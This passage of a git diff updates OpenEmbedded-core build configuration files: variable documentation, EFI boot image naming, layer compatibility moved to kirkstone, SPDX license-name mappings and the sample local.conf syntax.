IMAGE_TYPES[doc] = "Specifies the complete list of supported image types by default."
INC_PR[doc] = "Helps define the recipe revision for recipes that share a common include file."
-INCOMPATIBLE_LICENSE[doc] = "Specifies a space-separated list of license names (as they would appear in LICENSE) that should be excluded from the build. Wildcard is supported, such as '*GPLv3'"
+INCOMPATIBLE_LICENSE[doc] = "Specifies a space-separated list of license names (as they would appear in LICENSE) that should be excluded from the build. Wildcard is supported, such as '*GPL-3.0*'"
INHIBIT_DEFAULT_DEPS[doc] = "Prevents the default dependencies, namely the C compiler and standard C library (libc), from being added to DEPENDS."
INHIBIT_PACKAGE_STRIP[doc] = "If set to "1", causes the build to not strip binaries in resulting packages."
INHERIT[doc] = "Causes the named class to be inherited at this point during parsing. The variable is only valid in configuration files."
@@ -307,9 +312,9 @@ PACKAGE_BEFORE_PN[doc] = "Enables easily adding packages to PACKAGES before ${PN
PACKAGE_CLASSES[doc] = "This variable specifies the package manager to use when packaging data. It is set in the conf/local.conf file in the Build Directory."
PACKAGE_EXCLUDE[doc] = "Packages to exclude from the installation. If a listed package is required, an error is generated."
PACKAGE_EXTRA_ARCHS[doc] = "Specifies the list of architectures compatible with the device CPU. This variable is useful when you build for several different devices that use miscellaneous processors."
-PACKAGE_GROUP[doc] = "Defines one or more packages to include in an image when a specific item is included in IMAGE_FEATURES."
PACKAGE_INSTALL[doc] = "List of the packages to be installed into the image. The variable is generally not user-defined and uses IMAGE_INSTALL as part of the list."
PACKAGE_INSTALL_ATTEMPTONLY[doc] = "List of packages attempted to be installed. If a listed package fails to install, the build system does not generate an error. This variable is generally not user-defined."
+PACKAGE_SNAP_LIB_SYMLINKS[doc] = "Rename library files based on their SONAME to avoid an extra layer of indirection through a symlink. Only suitable for a read-only rootfs where libraries are not upgraded in place."
PACKAGECONFIG[doc] = "This variable provides a means of enabling or disabling features of a recipe on a per-recipe basis."
PACKAGES[doc] = "The list of packages to be created from the recipe."
PACKAGES_DYNAMIC[doc] = "A promise that your recipe satisfies runtime dependencies for optional modules that are found in other recipes."
@@ -325,7 +330,6 @@ PKGDATA_DIR[doc] = "Points to a shared, global-state directory that holds data g
PKGDEST[doc] = "Points to the parent directory for files to be packaged after they have been split into individual packages."
PKGDESTWORK[doc] = "Points to a temporary work area used by the do_package task to write output from the do_packagedata task."
PN[doc] = "PN refers to a recipe name in the context of a file used by the OpenEmbedded build system as input to create a package. It refers to a package name in the context of a file created or produced by the OpenEmbedded build system."
-PNBLACKLIST[doc] = "Lists recipes you do not want the OpenEmbedded build system to build."
PR[doc] = "The revision of the recipe. The default value for this variable is 'r0'."
PREFERRED_PROVIDER[doc] = "If multiple recipes provide an item, this variable determines which recipe should be given preference."
PREFERRED_VERSION[doc] = "If there are multiple versions of recipes available, this variable determines which recipe should be given preference."
@@ -340,13 +344,17 @@ PYPI_SRC_URI[doc] = "The URI to use to fetch from pypi, default uses pythonhoste
#Q
+QA_EMPTY_DIRS[doc] = "A list of directories that are expected to be empty."
+QA_EMPTY_DIRS_RECOMMENDATION[doc] = "This specifies a recommendation for a directory why it must be empty, which will be included in the error message if the directory is not empty."
QMAKE_PROFILES[doc] = "Specifies your own subset of .pro files to be built for use with qmake."
#R
RCONFLICTS[doc] = "The list of packages that conflict with another package. Note that the package will not be installed if the conflicting packages are not first removed."
RDEPENDS[doc] = "Lists a package's runtime dependencies (i.e. other packages) that must be installed for the package to be built. They must be the names of other packages as listed in the PACKAGES variable, not recipe names (PN)."
-REQUIRED_DISTRO_FEATURES[doc] = "When a recipe inherits the distro_features_check class, this variable identifies distribution features that must exist in the current configuration in order for the OpenEmbedded build system to build the recipe."
+REQUIRED_COMBINED_FEATURES[doc] = "When a recipe inherits the features_check class, all items in this variable must be included in COMBINED_FEATURES."
+REQUIRED_DISTRO_FEATURES[doc] = "When a recipe inherits the features_check class, all items in this variable must be included in DISTRO_FEATURES."
+REQUIRED_MACHINE_FEATURES[doc] = "When a recipe inherits the features_check class, all items in this variable must be included in MACHINE_FEATURES."
RM_WORK_EXCLUDE[doc] = "With rm_work enabled, this variable specifies a list of packages whose work directories should not be removed."
ROOTFS[doc] = "Indicates a filesystem image to include as the root filesystem."
ROOTFS_POSTPROCESS_COMMAND[doc] = "Added by classes to run post processing commands once the OpenEmbedded build system has created the root filesystem."
@@ -375,6 +383,7 @@ SIGGEN_EXCLUDE_SAFE_RECIPE_DEPS[doc] = "A list of recipe dependencies that shoul
SIGGEN_EXCLUDERECIPES_ABISAFE[doc] = "A list of recipes that are completely stable and will never change."
SITEINFO_BITS[doc] = "Specifies the number of bits for the target system CPU."
SITEINFO_ENDIANNESS[doc] = "Specifies the endian byte order of the target system. The value should be either 'le' for 'little-endian' or 'be' for 'big-endian'."
+SKIP_RECIPE[doc] = "Lists recipes you do not want the OpenEmbedded build system to build."
SOC_FAMILY[doc] = "Groups together machines based upon the same family of SOC (System On Chip). You typically set this variable in a common .inc file that you include in the configuration files of all the machines."
SOLIBS[doc] = "Defines the suffix for shared libraries used on the target platform."
SOLIBSDEV[doc] = "Defines the suffix for the development symbolic link (symlink) for shared libraries on the target platform."
@@ -392,7 +401,6 @@ STAGING_KERNEL_DIR[doc] = "The directory with kernel headers that are required t
STAMP[doc] = "Specifies the base path used to create recipe stamp files. The path to an actual stamp file is constructed by evaluating this string and then appending additional information."
STAMPS_DIR[doc] = "Specifies the base directory in which the OpenEmbedded build system places stamps."
SUMMARY[doc] = "The short (80 characters or less) summary of the binary package for packaging systems such as opkg, rpm or dpkg. By default, SUMMARY is used to define the DESCRIPTION variable if DESCRIPTION is not set in the recipe."
-SVNDIR[doc] = "The directory where Subversion checkouts will be stored."
SYSLINUX_DEFAULT_CONSOLE[doc] = "Specifies the kernel boot default console."
SYSLINUX_OPTS[doc] = "Lists additional options to add to the syslinux file."
SYSLINUX_SERIAL[doc] = "Specifies the alternate serial port or turns it off."
@@ -431,9 +439,6 @@ TOOLCHAIN_TARGET_TASK[doc] = "This variable lists packages the OpenEmbedded buil
TOPDIR[doc] = "The Build Directory. BitBake automatically sets this variable. The OpenEmbedded build system uses the Build Directory when building images."
TRANSLATED_TARGET_ARCH[doc] = "A sanitized version of TARGET_ARCH. This variable is used where the architecture is needed in a value where underscores are not allowed."
TUNE_PKGARCH[doc] = "The package architecture understood by the packaging system to define the architecture, ABI, and tuning of output packages."
-TUNEABI[doc] = "An underlying ABI used by a particular tuning in a given toolchain layer. This feature allows providers using prebuilt libraries to check compatibility of a tuning against their selection of libraries."
-TUNEABI_OVERRIDE[doc] = "If set, ignores TUNEABI_WHITELIST."
-TUNEABI_WHITELIST[doc] = "A whitelist of permissible TUNEABI values. If the variable is not set, all values are allowed."
TUNECONFLICTS[doc] = "List of conflicting features for a given feature."
TUNEVALID[doc] = "Descriptions, stored as flags, of valid tuning features."
diff --git a/meta/conf/image-uefi.conf b/meta/conf/image-uefi.conf
index aaeff12ccb..04a151f3a4 100644
--- a/meta/conf/image-uefi.conf
+++ b/meta/conf/image-uefi.conf
@@ -8,9 +8,14 @@ EFI_PREFIX ?= "/boot"
# Location inside rootfs.
EFI_FILES_PATH = "${EFI_PREFIX}${EFIDIR}"
+# The EFI name for the architecture
+EFI_ARCH ?= "INVALID"
+EFI_ARCH:x86 = "ia32"
+EFI_ARCH:x86-64 = "x64"
+EFI_ARCH:aarch64 = "aa64"
+EFI_ARCH:arm = "arm"
+EFI_ARCH:riscv32 = "riscv32"
+EFI_ARCH:riscv64 = "riscv64"
+
# Determine name of bootloader image
-EFI_BOOT_IMAGE ?= "bootINVALID.efi"
-EFI_BOOT_IMAGE_x86-64 = "bootx64.efi"
-EFI_BOOT_IMAGE_x86 = "bootia32.efi"
-EFI_BOOT_IMAGE_aarch64 = "bootaa64.efi"
-EFI_BOOT_IMAGE_arm = "bootarm.efi"
+EFI_BOOT_IMAGE ?= "boot${EFI_ARCH}.efi"
diff --git a/meta/conf/layer.conf b/meta/conf/layer.conf
index fcdf9ae5a3..ea57123601 100644
--- a/meta/conf/layer.conf
+++ b/meta/conf/layer.conf
@@ -7,12 +7,12 @@ BBFILE_COLLECTIONS += "core"
BBFILE_PATTERN_core = "^${LAYERDIR}/"
BBFILE_PRIORITY_core = "5"
-LAYERSERIES_CORENAMES = "zeus"
+LAYERSERIES_CORENAMES = "kirkstone"
# This should only be incremented on significant changes that will
# cause compatibility issues with other layers
-LAYERVERSION_core = "11"
-LAYERSERIES_COMPAT_core = "warrior zeus"
+LAYERVERSION_core = "14"
+LAYERSERIES_COMPAT_core = "kirkstone"
BBLAYERS_LAYERINDEX_NAME_core = "openembedded-core"
@@ -43,9 +43,12 @@ SIGGEN_EXCLUDERECIPES_ABISAFE += " \
opkg-utils \
gstreamer1.0-meta-base \
ca-certificates \
+ shared-mime-info \
+ desktop-file-utils \
"
SIGGEN_EXCLUDE_SAFE_RECIPE_DEPS += " \
+ *->patch-native \
*->quilt-native \
*->subversion-native \
*->git-native \
@@ -69,6 +72,7 @@ SIGGEN_EXCLUDE_SAFE_RECIPE_DEPS += " \
grub-efi->grub-bootconf \
liberation-fonts->fontconfig \
cantarell-fonts->fontconfig \
+ ttf-bitstream-vera->fontconfig \
gnome-icon-theme->librsvg \
font-alias->font-util \
systemd-boot->systemd-bootconf \
@@ -78,6 +82,8 @@ SIGGEN_EXCLUDE_SAFE_RECIPE_DEPS += " \
weston-init->kbd \
connman->xl2tpd \
lttng-tools->lttng-modules \
+ adwaita-icon-theme->gdk-pixbuf \
+ adwaita-icon-theme->gtk+3 \
"
# Avoid adding bison-native to the sysroot without a specific
@@ -85,8 +91,24 @@ SIGGEN_EXCLUDE_SAFE_RECIPE_DEPS += " \
# (e.g. X -> Y -> binutils-cross -> bison-native) no longer meet the
# dependency incidentally. This improves determinism and avoids build
# failures when people switch to external toolchains.
-SSTATE_EXCLUDEDEPS_SYSROOT += ".*->bison-native"
-# Nothing needs to depend on libc-initial/gcc-cross-initial
+# libarchive only needs e2fsprogs headers at buildtime
+SSTATE_EXCLUDEDEPS_SYSROOT += "\
+ .*->autoconf-native \
+ .*->automake-native \
+ .*->bison-native \
+ .*->meson-native \
+ .*->ninja-native \
+ .*->patch-native \
+ .*->pkgconfig-native \
+ .*->quilt-native \
+ ^(?!gtk-doc-native).*->xmlto-native \
+ .*->gperf-native \
+ .*->gtk-doc-native \
+ .*->texinfo-native \
+ .*->perlcross-native \
+ libarchive-native->e2fsprogs-native \
+"
+# Nothing needs to depend on libc-initial
# base-passwd/shadow-sysroot don't need their dependencies
SSTATE_EXCLUDEDEPS_SYSROOT += "\
.*->.*-initial.* \
@@ -97,4 +119,6 @@ SSTATE_EXCLUDEDEPS_SYSROOT += "\
SSTATE_EXCLUDEDEPS_SYSROOT += ".*->autoconf-archive-native"
# We need to keep bitbake tools in PATH
-PATH := "${@os.path.dirname(bb.utils.which(d.getVar('PATH'),'bitbake'))}:${HOSTTOOLS_DIR}"
+# Avoid empty path entries
+BITBAKEPATH := "${@os.path.dirname(bb.utils.which(d.getVar('PATH'),'bitbake'))}"
+PATH := "${@'${BITBAKEPATH}:' if '${BITBAKEPATH}' != '' else ''}${HOSTTOOLS_DIR}"
diff --git a/meta/conf/licenses.conf b/meta/conf/licenses.conf
index 7b01c57632..991fb6cc23 100644
--- a/meta/conf/licenses.conf
+++ b/meta/conf/licenses.conf
@@ -1,48 +1,7 @@
-# These aren't actually used anywhere that I can tell
-# They may be in the future (or are used by someone else
-# For completion sake, I've updated them
-SRC_DISTRIBUTE_LICENSES += "AAL Adobe AFL-1.2 AFL-2.0 AFL-2.1 AFL-3.0"
-SRC_DISTRIBUTE_LICENSES += "AGPL-3.0 ANTLR-PD Apache-1.0 Apache-1.1 Apache-2.0"
-SRC_DISTRIBUTE_LICENSES += "APL-1.0 APSL-1.0 APSL-1.1 APSL-1.2 APSL-2.0"
-SRC_DISTRIBUTE_LICENSES += "Artistic-1.0 Artistic-2.0 BitstreamVera BSD"
-SRC_DISTRIBUTE_LICENSES += "BSD-2-Clause BSD-3-Clause BSD-4-Clause BSL-1.0"
-SRC_DISTRIBUTE_LICENSES += "CATOSL-1.1 CC0-1.0 CC-BY-1.0 CC-BY-2.0 CC-BY-2.5"
-SRC_DISTRIBUTE_LICENSES += "CC-BY-3.0 CC-BY-NC-1.0 CC-BY-NC-2.0 CC-BY-NC-2.5"
-SRC_DISTRIBUTE_LICENSES += "CC-BY-NC-3.0 CC-BY-NC-ND-1.0 CC-BY-NC-ND-2.0"
-SRC_DISTRIBUTE_LICENSES += "CC-BY-NC-ND-2.5 CC-BY-NC-ND-3.0 CC-BY-NC-SA-1.0"
-SRC_DISTRIBUTE_LICENSES += "CC-BY-NC-SA-2.0 CC-BY-NC-SA-2.5 CC-BY-NC-SA-3.0"
-SRC_DISTRIBUTE_LICENSES += "CC-BY-ND-1.0 CC-BY-ND-2.0 CC-BY-ND-2.5 CC-BY-ND-3.0"
-SRC_DISTRIBUTE_LICENSES += "CC-BY-SA-1.0 CC-BY-SA-2.0 CC-BY-SA-2.5 CC-BY-SA-3.0 CC-BY-SA-4.0"
-SRC_DISTRIBUTE_LICENSES += "CDDL-1.0 CECILL-1.0 CECILL-2.0 CECILL-B CECILL-C"
-SRC_DISTRIBUTE_LICENSES += "ClArtistic CPAL-1.0 CPL-1.0 CUA-OPL-1.0 DSSSL"
-SRC_DISTRIBUTE_LICENSES += "ECL-1.0 ECL-2.0 eCos-2.0 EDL-1.0 EFL-1.0 EFL-2.0"
-SRC_DISTRIBUTE_LICENSES += "Entessa EPL-1.0 EPL-2.0 ErlPL-1.1"
-SRC_DISTRIBUTE_LICENSES += "EUDatagrid EUPL-1.0 EUPL-1.1 Fair Frameworx-1.0"
-SRC_DISTRIBUTE_LICENSES += "FreeType GFDL-1.1 GFDL-1.2 GFDL-1.3 GPL-1.0"
-SRC_DISTRIBUTE_LICENSES += "GPL-2.0 GPL-2.0-with-autoconf-exception"
-SRC_DISTRIBUTE_LICENSES += "GPL-2.0-with-classpath-exception"
-SRC_DISTRIBUTE_LICENSES += "GPL-2.0-with-font-exception"
-SRC_DISTRIBUTE_LICENSES += "GPL-2.0-with-GCC-exception"
-SRC_DISTRIBUTE_LICENSES += "GPL-2-with-bison-exception GPL-3.0"
-SRC_DISTRIBUTE_LICENSES += "GPL-3.0-with-autoconf-exception"
-SRC_DISTRIBUTE_LICENSES += "GPL-3.0-with-GCC-exception"
-SRC_DISTRIBUTE_LICENSES += "gSOAP-1 gSOAP-1.3b HPND IPA IPL-1.0 ISC LGPL-2.0"
-SRC_DISTRIBUTE_LICENSES += "LGPL-2.1 LGPL-3.0 Libpng LPL-1.02 LPPL-1.0 LPPL-1.1"
-SRC_DISTRIBUTE_LICENSES += "LPPL-1.2 LPPL-1.3c MirOS MIT Motosoto MPL-1.0"
-SRC_DISTRIBUTE_LICENSES += "MPL-1.1 MS-PL MS-RL Multics NASA-1.3 Nauman NCSA"
-SRC_DISTRIBUTE_LICENSES += "NGPL Nokia NPOSL-3.0 NTP OASIS OCLC-2.0 ODbL-1.0"
-SRC_DISTRIBUTE_LICENSES += "OFL-1.1 OGTSL OLDAP-2.8 OpenSSL OSL-1.0 OSL-2.0"
-SRC_DISTRIBUTE_LICENSES += "OSL-3.0 PD PHP-3.0 PostgreSQL Proprietary"
-SRC_DISTRIBUTE_LICENSES += "Python-2.0 QPL-1.0 RHeCos-1 RHeCos-1.1 RPL-1.5"
-SRC_DISTRIBUTE_LICENSES += "RPSL-1.0 RSCPL Ruby SAX-PD SGI-1 Simple-2.0 Sleepycat"
-SRC_DISTRIBUTE_LICENSES += "SPL-1.0 SugarCRM-1 SugarCRM-1.1.3 UCB VSL-1.0 W3C"
-SRC_DISTRIBUTE_LICENSES += "Watcom-1.0 WXwindows XFree86-1.0 XFree86-1.1 Xnet XSL YPL-1.1"
-SRC_DISTRIBUTE_LICENSES += "Zimbra-1.3 Zlib ZPL-1.1 ZPL-2.0 ZPL-2.1"
-
# Standards are great! Everyone has their own. In an effort to standardize licensing
# names, common-licenses will use the SPDX standard license names. In order to not
# break the non-standardized license names that we find in LICENSE, we'll set
-# up a bunch of VarFlags to accomodate non-SPDX license names.
+# up a bunch of VarFlags to accommodate non-SPDX license names.
#
# We should really discuss standardizing this field, but that's a longer term goal.
# For now, we can do this and it should grab the most common LICENSE naming variations.
@@ -51,68 +10,108 @@ SRC_DISTRIBUTE_LICENSES += "Zimbra-1.3 Zlib ZPL-1.1 ZPL-2.0 ZPL-2.1"
# Any mapping to MPL/LGPL/GPL should be fixed
# AGPL variations
-SPDXLICENSEMAP[AGPL-3] = "AGPL-3.0"
-SPDXLICENSEMAP[AGPLv3] = "AGPL-3.0"
-SPDXLICENSEMAP[AGPLv3.0] = "AGPL-3.0"
+SPDXLICENSEMAP[AGPL-3] = "AGPL-3.0-only"
+SPDXLICENSEMAP[AGPL-3+] = "AGPL-3.0-or-later"
+SPDXLICENSEMAP[AGPLv3] = "AGPL-3.0-only"
+SPDXLICENSEMAP[AGPLv3+] = "AGPL-3.0-or-later"
+SPDXLICENSEMAP[AGPLv3.0] = "AGPL-3.0-only"
+SPDXLICENSEMAP[AGPLv3.0+] = "AGPL-3.0-or-later"
+SPDXLICENSEMAP[AGPL-3.0] = "AGPL-3.0-only"
+SPDXLICENSEMAP[AGPL-3.0+] = "AGPL-3.0-or-later"
+
+# BSD variations
+SPDXLICENSEMAP[BSD-0-Clause] = "0BSD"
# GPL variations
-SPDXLICENSEMAP[GPL-1] = "GPL-1.0"
-SPDXLICENSEMAP[GPLv1] = "GPL-1.0"
-SPDXLICENSEMAP[GPLv1.0] = "GPL-1.0"
-SPDXLICENSEMAP[GPL-2] = "GPL-2.0"
-SPDXLICENSEMAP[GPLv2] = "GPL-2.0"
-SPDXLICENSEMAP[GPLv2.0] = "GPL-2.0"
-SPDXLICENSEMAP[GPL-3] = "GPL-3.0"
-SPDXLICENSEMAP[GPLv3] = "GPL-3.0"
-SPDXLICENSEMAP[GPLv3.0] = "GPL-3.0"
-
-#LGPL variations
-SPDXLICENSEMAP[LGPLv2] = "LGPL-2.0"
-SPDXLICENSEMAP[LGPLv2.0] = "LGPL-2.0"
-SPDXLICENSEMAP[LGPL2.1] = "LGPL-2.1"
-SPDXLICENSEMAP[LGPLv2.1] = "LGPL-2.1"
-SPDXLICENSEMAP[LGPLv3] = "LGPL-3.0"
-
-#MPL variations
+SPDXLICENSEMAP[GPL-1] = "GPL-1.0-only"
+SPDXLICENSEMAP[GPL-1+] = "GPL-1.0-or-later"
+SPDXLICENSEMAP[GPLv1] = "GPL-1.0-only"
+SPDXLICENSEMAP[GPLv1+] = "GPL-1.0-or-later"
+SPDXLICENSEMAP[GPLv1.0] = "GPL-1.0-only"
+SPDXLICENSEMAP[GPLv1.0+] = "GPL-1.0-or-later"
+SPDXLICENSEMAP[GPL-1.0] = "GPL-1.0-only"
+SPDXLICENSEMAP[GPL-1.0+] = "GPL-1.0-or-later"
+SPDXLICENSEMAP[GPL-2] = "GPL-2.0-only"
+SPDXLICENSEMAP[GPL-2+] = "GPL-2.0-or-later"
+SPDXLICENSEMAP[GPLv2] = "GPL-2.0-only"
+SPDXLICENSEMAP[GPLv2+] = "GPL-2.0-or-later"
+SPDXLICENSEMAP[GPLv2.0] = "GPL-2.0-only"
+SPDXLICENSEMAP[GPLv2.0+] = "GPL-2.0-or-later"
+SPDXLICENSEMAP[GPL-2.0] = "GPL-2.0-only"
+SPDXLICENSEMAP[GPL-2.0+] = "GPL-2.0-or-later"
+SPDXLICENSEMAP[GPL-3] = "GPL-3.0-only"
+SPDXLICENSEMAP[GPL-3+] = "GPL-3.0-or-later"
+SPDXLICENSEMAP[GPLv3] = "GPL-3.0-only"
+SPDXLICENSEMAP[GPLv3+] = "GPL-3.0-or-later"
+SPDXLICENSEMAP[GPLv3.0] = "GPL-3.0-only"
+SPDXLICENSEMAP[GPLv3.0+] = "GPL-3.0-or-later"
+SPDXLICENSEMAP[GPL-3.0] = "GPL-3.0-only"
+SPDXLICENSEMAP[GPL-3.0+] = "GPL-3.0-or-later"
+
+# LGPL variations
+SPDXLICENSEMAP[LGPLv2] = "LGPL-2.0-only"
+SPDXLICENSEMAP[LGPLv2+] = "LGPL-2.0-or-later"
+SPDXLICENSEMAP[LGPLv2.0] = "LGPL-2.0-only"
+SPDXLICENSEMAP[LGPLv2.0+] = "LGPL-2.0-or-later"
+SPDXLICENSEMAP[LGPL-2.0] = "LGPL-2.0-only"
+SPDXLICENSEMAP[LGPL-2.0+] = "LGPL-2.0-or-later"
+SPDXLICENSEMAP[LGPL2.1] = "LGPL-2.1-only"
+SPDXLICENSEMAP[LGPL2.1+] = "LGPL-2.1-or-later"
+SPDXLICENSEMAP[LGPLv2.1] = "LGPL-2.1-only"
+SPDXLICENSEMAP[LGPLv2.1+] = "LGPL-2.1-or-later"
+SPDXLICENSEMAP[LGPL-2.1] = "LGPL-2.1-only"
+SPDXLICENSEMAP[LGPL-2.1+] = "LGPL-2.1-or-later"
+SPDXLICENSEMAP[LGPLv3] = "LGPL-3.0-only"
+SPDXLICENSEMAP[LGPLv3+] = "LGPL-3.0-or-later"
+SPDXLICENSEMAP[LGPL-3.0] = "LGPL-3.0-only"
+SPDXLICENSEMAP[LGPL-3.0+] = "LGPL-3.0-or-later"
+
+# MPL variations
SPDXLICENSEMAP[MPL-1] = "MPL-1.0"
SPDXLICENSEMAP[MPLv1] = "MPL-1.0"
SPDXLICENSEMAP[MPLv1.1] = "MPL-1.1"
SPDXLICENSEMAP[MPLv2] = "MPL-2.0"
-#MIT variations
+# MIT variations
SPDXLICENSEMAP[MIT-X] = "MIT"
SPDXLICENSEMAP[MIT-style] = "MIT"
-#Openssl variations
+# Openssl variations
SPDXLICENSEMAP[openssl] = "OpenSSL"
-#Python variations
-SPDXLICENSEMAP[PSF] = "Python-2.0"
-SPDXLICENSEMAP[PSFv2] = "Python-2.0"
+# PSF variations
+SPDXLICENSEMAP[PSF] = "PSF-2.0"
+SPDXLICENSEMAP[PSFv2] = "PSF-2.0"
+
+# Python variations
SPDXLICENSEMAP[Python-2] = "Python-2.0"
-#Apache variations
+# Apache variations
SPDXLICENSEMAP[Apachev2] = "Apache-2.0"
SPDXLICENSEMAP[Apache-2] = "Apache-2.0"
-#Artistic variations
+# Artistic variations
SPDXLICENSEMAP[Artisticv1] = "Artistic-1.0"
SPDXLICENSEMAP[Artistic-1] = "Artistic-1.0"
-#Academic variations
+# Academic variations
SPDXLICENSEMAP[AFL-2] = "AFL-2.0"
SPDXLICENSEMAP[AFL-1] = "AFL-1.2"
SPDXLICENSEMAP[AFLv2] = "AFL-2.0"
SPDXLICENSEMAP[AFLv1] = "AFL-1.2"
-#CDDL variations
+# CDDL variations
SPDXLICENSEMAP[CDDLv1] = "CDDL-1.0"
SPDXLICENSEMAP[CDDL-1] = "CDDL-1.0"
-#Other variations
+# Other variations
SPDXLICENSEMAP[EPLv1.0] = "EPL-1.0"
+SPDXLICENSEMAP[FreeType] = "FTL"
+SPDXLICENSEMAP[Nauman] = "Naumen"
+SPDXLICENSEMAP[tcl] = "TCL"
+SPDXLICENSEMAP[vim] = "Vim"
-#Silicon Graphics variations
+# Silicon Graphics variations
SPDXLICENSEMAP[SGIv1] = "SGI-1"
# Additional license directories. Add your custom licenses directories this path.
@@ -188,5 +187,3 @@ FOSS_BASE_URL = "http://localhost/repo/?mod=spdx_license_once"
FOSS_SERVER = "${FOSS_BASE_URL}&fullSPDXFlag=${FOSS_FULL_SPDX}&noCopyright=${FOSS_NO_COPYRIGHT}&recursiveUnpack=${FOSS_RECURSIVE_UNPACK}"
FOSS_WGET_FLAGS = "-qO - --no-check-certificate --timeout=0"
-
-
diff --git a/meta/conf/local.conf.sample b/meta/conf/local.conf.sample
index 783d2c4c16..c05691de58 100644
--- a/meta/conf/local.conf.sample
+++ b/meta/conf/local.conf.sample
@@ -2,9 +2,10 @@
# This file is your local configuration file and is where all local user settings
# are placed. The comments in this file give some guide to the options a new user
# to the system might want to change but pretty much any configuration option can
-# be set in this file. More adventurous users can look at local.conf.extended
-# which contains other examples of configuration which can be placed in this file
-# but new users likely won't need any of them initially.
+# be set in this file. More adventurous users can look at
+# local.conf.sample.extended which contains other examples of configuration which
+# can be placed in this file but new users likely won't need any of them
+# initially.
#
# Lines starting with the '#' character are commented out and in some cases the
# default values are provided as comments to show people example syntax. Enabling
@@ -90,7 +91,7 @@ PACKAGE_CLASSES ?= "package_ipk"
# This variable specifies the architecture to build SDK items for and means
# you can build the SDK packages for architectures other than the machine you are
# running the build on (i.e. building i686 packages on an x86_64 host).
-# Supported values are i686 and x86_64
+# Supported values are i686, x86_64, aarch64
#SDKMACHINE ?= "i686"
#
@@ -126,11 +127,7 @@ EXTRA_IMAGE_FEATURES ?= "debug-tweaks"
# enable extra features. Some available options which can be included in this variable
# are:
# - 'buildstats' collect build statistics
-# - 'image-mklibs' to reduce shared library files size for an image
-# - 'image-prelink' in order to prelink the filesystem image
-# NOTE: if listing mklibs & prelink both, then make sure mklibs is before prelink
-# NOTE: mklibs also needs to be explicitly enabled for a given image, see local.conf.extended
-USER_CLASSES ?= "buildstats image-mklibs image-prelink"
+USER_CLASSES ?= "buildstats"
#
@@ -141,7 +138,7 @@ USER_CLASSES ?= "buildstats image-mklibs image-prelink"
# run tests against any SDK that are built. To enable this uncomment these lines.
# See classes/test{image,sdk}.bbclass for further details.
#IMAGE_CLASSES += "testimage testsdk"
-#TESTIMAGE_AUTO_qemuall = "1"
+#TESTIMAGE_AUTO:qemuall = "1"
#
# Interactive shell configuration
@@ -167,29 +164,29 @@ PATCHRESOLVE = "noop"
#
# Monitor the disk space during the build. If there is less that 1GB of space or less
# than 100K inodes in any key build location (TMPDIR, DL_DIR, SSTATE_DIR), gracefully
-# shutdown the build. If there is less that 100MB or 1K inodes, perform a hard abort
+# shutdown the build. If there is less than 100MB or 1K inodes, perform a hard halt
# of the build. The reason for this is that running completely out of space can corrupt
# files and damages the build in ways which may not be easily recoverable.
-# It's necesary to monitor /tmp, if there is no space left the build will fail
+# It's necessary to monitor /tmp, if there is no space left the build will fail
# with very exotic errors.
BB_DISKMON_DIRS ??= "\
STOPTASKS,${TMPDIR},1G,100K \
STOPTASKS,${DL_DIR},1G,100K \
STOPTASKS,${SSTATE_DIR},1G,100K \
STOPTASKS,/tmp,100M,100K \
- ABORT,${TMPDIR},100M,1K \
- ABORT,${DL_DIR},100M,1K \
- ABORT,${SSTATE_DIR},100M,1K \
- ABORT,/tmp,10M,1K"
+ HALT,${TMPDIR},100M,1K \
+ HALT,${DL_DIR},100M,1K \
+ HALT,${SSTATE_DIR},100M,1K \
+ HALT,/tmp,10M,1K"
#
# Shared-state files from other locations
#
-# As mentioned above, shared state files are prebuilt cache data objects which can
+# As mentioned above, shared state files are prebuilt cache data objects which can be
# used to accelerate build time. This variable can be used to configure the system
# to search other mirror locations for these objects before it builds the data itself.
#
-# This can be a filesystem directory, or a remote url such as http or ftp. These
+# This can be a filesystem directory, or a remote url such as https or ftp. These
# would contain the sstate-cache results from previous builds (possibly from other
# machines). This variable works like fetcher MIRRORS/PREMIRRORS and points to the
# cache locations to check for the shared objects.
@@ -197,7 +194,7 @@ BB_DISKMON_DIRS ??= "\
# at the end as shown in the examples below. This will be substituted with the
# correct path within the directory structure.
#SSTATE_MIRRORS ?= "\
-#file://.* http://someserver.tld/share/sstate/PATH;downloadfilename=PATH \n \
+#file://.* https://someserver.tld/share/sstate/PATH;downloadfilename=PATH \
#file://.* file:///some/local/dir/sstate/PATH"
@@ -208,8 +205,8 @@ BB_DISKMON_DIRS ??= "\
# seen. The two lines below enable the SDL backend too. By default libsdl2-native will
# be built, if you want to use your host's libSDL instead of the minimal libsdl built
# by libsdl2-native then uncomment the ASSUME_PROVIDED line below.
-PACKAGECONFIG_append_pn-qemu-system-native = " sdl"
-PACKAGECONFIG_append_pn-nativesdk-qemu = " sdl"
+PACKAGECONFIG:append:pn-qemu-system-native = " sdl"
+PACKAGECONFIG:append:pn-nativesdk-qemu = " sdl"
#ASSUME_PROVIDED += "libsdl2-native"
#
@@ -226,7 +223,17 @@ PACKAGECONFIG_append_pn-nativesdk-qemu = " sdl"
#BB_HASHSERVE = "auto"
#BB_SIGNATURE_HANDLER = "OEEquivHash"
+#
+# Memory Resident Bitbake
+#
+# Bitbake's server component can stay in memory after the UI for the current command
+# has completed. This means subsequent commands can run faster since there is no need
+# for bitbake to reload cache files and so on. Number is in seconds, after which the
+# server will shut down.
+#
+#BB_SERVER_TIMEOUT = "60"
+
# CONF_VERSION is increased each time build/conf/ changes incompatibly and is used to
# track the version of this file when it was generated. This can safely be ignored if
# this doesn't mean anything to you.
-CONF_VERSION = "1"
+CONF_VERSION = "2"
diff --git a/meta/conf/local.conf.sample.extended b/meta/conf/local.conf.sample.extended
index fcf4a9b7c1..68f3a966cd 100644
--- a/meta/conf/local.conf.sample.extended
+++ b/meta/conf/local.conf.sample.extended
@@ -23,6 +23,14 @@
#
# For a quad-core machine, BB_NUMBER_THREADS = "4", PARALLEL_MAKE = "-j 4" would
# be appropriate for example.
+#
+# Some users are behind firewalls or use servers where the number of parallel connections
+# is limited. In such cases you can limit the number of fetch tasks which run in parallel by
+# setting the option below, in this case limiting to a maximum of 4 fetch tasks in parallel:
+#
+#do_fetch[number_threads] = "4"
+#
+
#DISTRO_FEATURES = "alsa bluetooth ext2 irda ipv4 ipv6 pcmcia usbgadget usbhost wifi nfs zeroconf pci"
@@ -112,18 +120,6 @@
#
# TCMODE ?= "external-sourcery"
-# mklibs library size optimization is more useful to smaller images,
-# and less useful for bigger images. Also mklibs library optimization
-# can break the ABI compatibility, so should not be applied to the
-# images which are to be extended or upgraded later.
-#This enabled mklibs library size optimization just for the specified image.
